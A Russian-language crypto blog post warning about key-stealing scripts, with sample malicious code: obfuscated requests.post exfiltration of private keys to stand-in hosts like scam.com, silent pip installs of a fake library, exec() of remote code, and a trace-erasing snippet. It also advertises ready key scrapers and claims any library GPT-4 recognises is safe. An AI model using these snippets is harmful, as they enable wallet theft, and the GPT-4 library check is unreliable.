Скажи "НЕТ" скаму в софтах!
Привет всем! С вами ваш преданный Not-so-BrokeBoy, ведущий канала Bubble[crypto], сегодня я буду рассказывать как же не пасть жертвой скама, а конкретно скама при запуске кода. Ты можешь крутить очередной проектик, и даже не подозревать, что спинка твоя уже давно покрыта плотным рыжем хутром и ты на самом-то деле уже готов к новому леднековому периоду...
Все вы тут знакомы с концептом айсберг-видео, я даже обяснять не буду лучше посмотри на то, какую я картинку делал целых 10 минут (шок):
Ну, знаешь да, пословицу про айсберг, что видно только верхушку, все остальное под водой, бла-бла-бла. Именно так и затонул Титаник. Чем ниже ты будешь листать, тем менее очевидными методы будут. Для удобности я классифицировал их по рангу потенциальной опасности. Абзац о каждом виде скамчика будет содержать контрметод по его отлову и удалению. Это как бы цель этой статьи.
Хотя каждый из вас волен определять ее назначение для себя лично. Для одних она станет первым уроком как делать быстрые деньги, для других — как не потерять уже накопленные.
"Прокрут" аккаунтов
Вершина айсберга с названием "Купить прокрут аккаунтов". Такие ребята, как IDO-research, Fack-Block, Swiper уже отличились тем, что вместо продажи какого-то там кода, стали сразу продавать "прокрут" (на хую, лол) ваших кошельков. Давайте сразу определимся: хоть я и незнаком с ними, мне не трудно судить о их намерениях. Я вижу шакалов за 16 км, еще до того, как они выйдут из-за горизонта...
Есть такая пословица: "Not your key — not your money", тут она работает лучше всего. Для самых маленьких сейчас объясню почему это хуевая идея. Давайте на минуту представим, что все эти "люди" на самом деле оказались праведнымии ничего с вас не возьмут. НО есть одно очень большое "НО" — кто конструировал эти системы прокрута? Думаешь, они тоже честные? Или какой-то кодер-второкурсник, которому платили 1к в месяц, откажется от пары лишних миллионов?
Не обманывай себя, в нашей с вами индустрии люди сделают все ради профита, и я имею в виду все. Вероятно, один умник уже вмонтировал в этот прокрут бекдорчик и сидит на горе из ключей, считая миллионы. Да даже если нет, камон, что мешает в день дропа резко изменить условия сделки на 30% от токенов? А ведь это будет предложение, от которого невозможно отказаться.
Тебе самому решать кого ты будешь кормить карбонарой, себя, или очередного шакала?
Контрмеры:
.exe файлы и закрытый код
Уже немножко глубже, чем добровольная передача ключей авторитетам, но все еще на поверхности. Этот раздел будет коротким.
Обычно вирусы, трояны и прочее реально фильтруются Windows Firewall'ом (хоть что-то эти подонки сделали как надо). В случае же со стиллерами так не выйдет, ибо в их наборе инструменты обычно базовые функции системы. В зависимости от "скрипта", он может и не требовать приватников для работы, но будь уверен, он обязательно их получит. Мой товарищ по несчастью почти попался на подобное. Подцепил какой-то мусор (реально мусор) и почти заскамился. Принцип работы этой проги был очень простой: интегрироваться в систему > сканировать буфер обмена > менять любой адрес на адрес скамера.
Методика крайне глупа и доказала свою неэффективность, ибо первая же подмена была обнаружена, а компьютер почищен. Вообщем, я бы сделал лучше.
Контрмеры:
Не запускать .exe файлы с непровернных источников, ни в коем случае не давать админку для установки.
Для совсем отчаявшихся, можно запустить файл на VM с одним кошельком и прослушивать все совершенные запросы, после чего инспектить уже их. В целом, эффективная тактика, если ты в этом разбираешься.
Requests scam
Популярная схема как бы — берем ключи юзера > пакуем в сэт > отправляем себе > богатеем.
Этот раздел ниже поверхности и тому есть причины, несмотря на очевидность — плохие парни (да и девушки) имеют на руках целый арсенал для маскировки передачи ключей. Рассмотрим несколько примеров:
import requests import base64 encoded_url = "aHR0cDovL21hbGljaW91cy1zaXRlLmNvbQ==" decoded_url = base64.b64decode(encoded_url).decode('utf-8') requests.post(decoded_url, data={'key': "secret_key"})
with open("private_key.txt", "r") as file: private_key = file.read().strip() idijxue = ''.join(["p", "r", "i", "v", "a", "t", "e", "_", "k", "e", "y"]) requests.post("http://scam.com/", globals()[idijxue])
Теперь добавь к этому что строчки могут быть разбросанны по всей директории, переименованны тысячу раз, etc.
Контрмеры:
Поиск по всей директории проекта (Ctrl+Shift+F), затем аудит на предмет того, где, когда и куда передаются ключи/файлы с ними. В случае вопросов — подозрительные фрагменты следует обсудить с GPT-4. Что искать? Вот тебе чеклист:
- Название .txt, .xlsx файла/файлов с ключами
- Название переменной которая присваивается ключам (как пример p_key)
- Фрагменты URL а конкретно этот "://"
- Названия методов "join", "with open", "decode", "requests"
Фейк либы
Вот тут уже начинается интересная часть.
Иногда в requirements.txt могут подложить либу scam-sdk==v13.37
— это все еще топорный метод, но иногда он работает из-за невнимательности пользователя. Как это работает — вопрос десятый; как вариант, похищение ключей, таблиц, сессий браузера, кукисов etc. Короче все что может как-либо обогатить скамера.
Контрмеры:
Нам понадобится — скопировать содержимое файла requirements.txt > скинуть все это в GPT-4, добавив вопрос: "Are these libs legit?" В ответе будет описание каждой из библиотек в соответствии c названиями. Если оно есть — done, legit.
Логика тут проста: если либа достаточно известна для того, чтобы попасть в тренировочный сэт GPT, она на 100% не содержит скама.
Если в ответ ты не получаешь описания, это повод насторожиться, но не повод клеймить автора скамером. Многие используют кастомные библиотеки по типу better_automation, которые GPT не известны, но не менее легитимны. К слову, такое происходит довольно редко.
Твои действия в таком случае: Вбиваешь в гугол "{название библиотеки} GitHub" > по первой же ссылке попадаешь на её страницу > приступаешь к осмотру пациента. Список вещей, на которые нужно обратить внимание:
• Библиотека имеет 0 звезд
• Единственный коммит акаунта — эта библиотека
• Наличие только одной версии (как правило финальной)
• Профилю меньше недели
• Профиль создавший либу её единственный контрибютор
• Не имеет никакой лицензии
• Нет открытых/закрытых issue тикетов
• Отсутствие README
Для меня даже один редфлаг — мгновенный скип и закрытие страницы. Либам, которые попадают только во второй список, обычно стоит дать шанс и посмотреть на код. Пора двигаться дальше. К более хитровыебанным способам впихнуть таки scam-sdk==v13.37
в код, минуя файл requirements.txt.
Динамический импорт
Если кратко то Python умеет и так, язык в целом умеет очень много, люблю душить гадюку если вы понимаете о чем я.
Вот они три вестника обнуления: os, importlib, subprocess.
Что, как, почему. В место пихания scam-sdk==v13.37
прямо под нос пользователю, мышенок гарантированно будет устанавливать либу внутри самого кода. Так же в гадюке есть методы подавления вывода информации в терминал. Так что видно ничего не будет, но что я расказываю, перейдем к примерам
import os import importlib lib_name = "scam-sdk==v13.37" os.system(f"pip install {lib_name} >nul 2>&1") scam = importlib.import_module(lib_name) scam.steal_key
import subprocess import sys import importlib lib_name = "scam-sdk==v13.37" subprocess.run( [sys.executable, '-m', 'pip', 'install', lib_name], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT ) scam = importlib.import_module(lib_name) scam.steal_key
Подобными финтами можно скрытно установить все-что-угодно.py без ведомости самого юзера.
Контрмеры:
Поиск (Ctrl+Shift+F) двух ключевых слов: "install", "importlib". Не смотря на хитровыебаность это легко ищется, такой мув не заметить трудно.
Подобным способом можно устанавливать еще и C библиотеки, но я далек от эксперта в этом поле, оставлю на подумать. ДумайТЕ.
Скам-контракты
Классическая классика. Этого не сделают ваши любимые кодбои, за них это сделает Ваня из 10-Б. Я не шарю за solidity от слова совсем, так что почитай вот это, если хочется немного поумнеть. Все же можно выделить 3 сорта этого дерьма:
- Отправка всего что есть на адрес скамера. Найболее тупой метод, по факту это дрейнер который ты же и запускаешь у себя на компутере.
- Апрув всех токенов контракту N. В отличии от первого этот имеет отложенный эфект, может ждать годы пока ты не получишь тот самый дроп на xxxxxx$ чтобы оперативненько тебя от него избавить.
- Подмена легитного контракта копией с расширенным функционалом. Будет делать все тоже самое что и контракт-оригинал + функция scam.
Суммарно это найболее заметный и найменее прибыльный из методов. Он отлично сработает если аудитория большая, но на индивидуальном уровне это кринж, советую рассмотреть варианты получше.
Контрмеры:
Тестовый запуск всех функций скрипта на одном кошельке > проверка каждой транзакции в эксплорере > ручная проверка каждого из контрактов.
Первое на что стоит обратить внимание это суммарное количество транзакций, ни один скамер не станет накручивать на контракте 50к nonсe для чего бы там ни было, это просто не выгодно.
Подозрительные контракты стоит проверить через solidityscan.
Так же не забудь подключить адрес и проверить все апрувы на https://revoke.cash
Ps. Бесконечные апрувы легитным адресам вроде opensea, uniswap это не признак скама, это повод дать автору леща. Всегда есть вероятность что даже самые крупные компании падут жертвами тир-3 эксплойта. Последнее что тебе нужно это апрув на 59438510341299432308417248528374 ETH
exec(requests.get('https://scam.com').text)
Ужасное название. Не менее ужасающие последствия.
Одна строчка, которая подгружает код из хуй-пойми-откуда.com и тут же запускает его. Что может быть внутри? Всё. Что. Угодно... В 9 из 10 случаев это скрипт, который с помощью re ищет строки длиной 64 символа по всей системе, после чего отправляет их на сервер. А ведь искать долго не придется: каждый третий хранит все файлы с ключами в одной папке. Ты даже не представляешь, сколько из вас уже сидит на пороховой бочке. Два огромных плюса в сравнении с остальными методами:
С 99% вероятностью на твоем пк уже установленна либа requests. Или же ты не заметишь ничего подозрительного в требовании установить ее.*
Для наглядности я подготовил скрейперы которые избавят мамонтенка от наличия денег/дропа/будущего в течении 1 минуты. Могут послужить начинкой скачиваемого .py кода. Мышке остается только поднять сервачок за 8$ и найти жертву.
Этот избавляет от наличия ключей в .txt файлах, а этот в .xlsx. (Можно добавить удаление найденных ключей для + 30 поинтов к моральному урону)
Shit, ты даже не понимаешь насколько это серьезная хуйня. В python, скачиваемый скрипт может запросто удалять любые линии оригинального файла...
# Determine the path of the target script directory = os.path.abspath(os.path.dirname(__file__)) target_script_path = os.path.join(directory, original_script_name) # Read the original script and identify lines to keep with open(target_script_path, 'r') as file: lines = file.readlines() new_lines = [line for line in lines if '#DELETE' not in line] # Write the modified content back to the script with open(target_script_path, 'w') as file: file.writelines(new_lines)
По факту после первого же запуска следов работы скрипта не останется, а ты будешь сидеть довольный что прокрутил очередную пачку кошельков в проекте Х, ничего не подозревая о произошедшем.
Контрится, как всегда, поиском по ключевому слову (exec) в данном случае. Всегда ищи по всей директории проекта c помощью (Ctrl+Shift+F), чтобы не кликать каждый файл как долбоёб. Функции exec() не должно быть в принципе. Запомни, она используется только для динамических алгоритмов, и её просто не должно быть в скрипте под StarGate с 6 модулями.
Второй способ — это шифровать все файлы с ключами. Да, это не так удобно, ибо к любому скрипту придётся добавлять прокладку для расшифровки. Но опять же, + полминуты к запуску — адекватная цена, если на кону стоит всё твоё состояние. Вот функции для шифрования и дешифрования, рекомендуется дешифровку делать сразу в рабочую память, иначе в этом нет смысла, файлы с ключами должны всегда быть зашифрованы!
Key rotation
Этот раздел не относится к коду, написан исключительно для промоутинга моей прошлой статьи, вот она кстати — статья
Начну из далека, в EVM приватный ключ равен 64 символам, а адрес 32. Не у всех блокчейнов так. Starknet, Sui, Aptos у этих длина приватного ключа == длина адреса. Пополнив ненароком свой приватник — ты навсегда вписываешь его в эксплорер, фактически делая содержимое кошелька общим.
В дополнение к этому в Aptos и Starknet на этом кошельке еще и поменяют приватник на новый, разумеется не полицейские, после чего он уже как бы и не твой будет.
S+ tier
Ха! Ты, наверное, подумал, что тут будут ультимативные методики по обогащению, да? Что я буду рассказывать о всяких хакерских штукенциях... К сожалению, нет. Приемы из этого раздела слишком опасны для того, чтобы о них знать, даже в учебных целях. Этот уровень — чистое зло. Вот некоторые проги что есть у меня:
- Программы, маскирующиеся под другие .exe файлы, заменяя собой ярлык условного PyCharm, выпрашивают при запуске админку и ...
- Программы, создающие 1.6к картинок Pepe-the-Frog в секунду по всей системе. Альтернативно просто пустые файлы 2 сотен разных типов (.bat, .html, .waw, etc). Уже спустя 30 секунд работы очистить систему от этого будет невозможно.
- Программы, которые бесконечно перезаписывают кластеры SSD, пока тот не выйдет из строя.
- Ну и, конечно же программы, обеспечивающие удаленный доступ, куда же без этого. Тут и обьяснять не нужно, + одна пара глаз смотрит через вэбку.
Когда я начал учить Python да и кодинг в целом, у меня было стойкое ощущение, что можно сделать алгоритм для всего, что любая идея, даже самая безумная —может быть воплощена, и более того, будет работать. По итогам я не ошибся: в мире кода может быть реализовано виртуально все что угодно, поэтому S+ насчитывает сотни, если не тысячи, различных эксплойтов. Описать их все невозможно, да и защититься тоже. Просто держи в уме, что какими бы крутым ты ни был — всегда найдется рыба покрупнее.